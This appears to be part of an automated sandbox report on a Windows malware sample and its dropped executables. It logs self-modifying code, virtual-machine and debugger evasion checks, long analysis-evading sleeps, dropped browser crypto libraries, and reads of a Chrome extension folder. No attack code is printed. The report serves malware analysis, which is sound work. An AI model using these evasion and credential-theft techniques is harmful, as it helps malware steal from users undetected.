Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EEC02 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 44D6AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6015FF instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Special instruction interceptor: First address: 43EADB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Special instruction interceptor: First address: 43EB9F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Special instruction interceptor: First address: 5E672C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Special instruction interceptor: First address: 66AAA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 36EADB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 36EB9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 51672C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 59AAA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Special instruction interceptor: First address: 14E48DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Special instruction interceptor: First address: 14E49E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Special instruction interceptor: First address: 1694B8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Special instruction interceptor: First address: 1708E89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 55E10E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 55CC77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 3BA5FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 588BEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 56DFE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Special instruction interceptor: First address: 5F0739 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 41F922 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 41F9FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 5C0209 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 5BEC02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 41D6AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Special instruction interceptor: First address: 5D15FF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Special instruction interceptor: First address: 6DDB40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Special instruction interceptor: First address: 887573 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Special instruction interceptor: First address: 8AC69E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Special instruction interceptor: First address: 8984A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Special instruction interceptor: First address: 91CF81 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 4D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 4E20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 4D50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 4E90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 50E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Memory allocated: 70E0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

Code function: 9_2_04B00B75 rdtsc

9_2_04B00B75

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1107	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1092	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1137	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1113	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 405	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1107	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1200	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1277	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 978	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1223	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1220	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window / User API: threadDelayed 1143	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6139
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8223
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1253
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5466
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6449
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3196
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8003
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1644
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6926
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2706
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Window / User API: threadDelayed 1087
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Window / User API: threadDelayed 883
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8122

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7048	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6992	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7016	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep count: 1107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep time: -2215107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep count: 1092 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep time: -2185092s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 1137 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -2275137s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7276	Thread sleep count: 1113 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7276	Thread sleep time: -2227113s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1432	Thread sleep count: 405 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1432	Thread sleep time: -12150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7260	Thread sleep count: 1107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7260	Thread sleep time: -2215107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7268	Thread sleep count: 1200 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7268	Thread sleep time: -2401200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7688	Thread sleep count: 1277 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7688	Thread sleep time: -2555277s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7656	Thread sleep count: 978 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7656	Thread sleep time: -1956978s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7664	Thread sleep count: 1223 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7664	Thread sleep time: -2447223s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7672	Thread sleep count: 1203 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7672	Thread sleep time: -2407203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7668	Thread sleep count: 1220 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7668	Thread sleep time: -2441220s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7368	Thread sleep count: 1143 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe TID: 7368	Thread sleep time: -2287143s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep count: 8223 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2488	Thread sleep count: 1253 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6172	Thread sleep count: 5466 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6268	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6176	Thread sleep count: 4200 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3220	Thread sleep count: 6449 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5052	Thread sleep count: 3196 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 8003 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep count: 1644 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5184	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2252	Thread sleep count: 6926 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2252	Thread sleep count: 2706 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3052	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7532	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7528	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 4208	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 5964	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7176	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7576	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 5964	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6512	Thread sleep time: -204102s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6536	Thread sleep time: -204102s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6548	Thread sleep time: -178089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7812	Thread sleep time: -48000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7932	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6632	Thread sleep time: -172086s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6652	Thread sleep time: -172086s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6488	Thread sleep time: -190095s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6508	Thread sleep time: -184092s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6568	Thread sleep time: -196098s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe TID: 6160	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe TID: 8148	Thread sleep count: 883 > 30
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe TID: 8148	Thread sleep count: 225 > 30
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe TID: 8148	Thread sleep count: 166 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3344	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3400	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe TID: 2056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7748	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7780	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 6280	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 7824	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe TID: 5552	Thread sleep time: -38019s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe

Thread sleep count: Count: 1087 delay: -10

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A5070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

0_2_6C6A5070

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C58EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C58EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2127761872.00000000005D0000.00000040.00000001.01000000.00000003.sdmp, DocumentsJKEGIDGDGH.exe, DocumentsJKEGIDGDGH.exe, 00000009.00000002.2167575161.00000000005BC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000B.00000002.2221576169.00000000004EC000.00000040.00000001.01000000.0000000E.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3127151396.0000000000540000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2128255409.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware;72
Source: powershell.exe, 00000018.00000002.2741390038.000000000793D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FngTask_v1.0.MSFT_NetEventVmNetworkAdatper.cdxml.
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: file.exe, 00000000.00000002.2128255409.0000000000C96000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2128255409.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116402833.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2128255409.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: powershell.exe, 00000018.00000002.2741390038.000000000793D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdatper.format.ps1xmlT_
Source: file.exe, 00000000.00000002.2127761872.00000000005D0000.00000040.00000001.01000000.00000003.sdmp, DocumentsJKEGIDGDGH.exe, 00000009.00000002.2167575161.00000000005BC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000B.00000002.2221576169.00000000004EC000.00000040.00000001.01000000.0000000E.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3127151396.0000000000540000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: chrome.exe, 0000001A.00000002.2711246927.000001FD31068000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Thread information set: HideFromDebugger	Jump to behavior
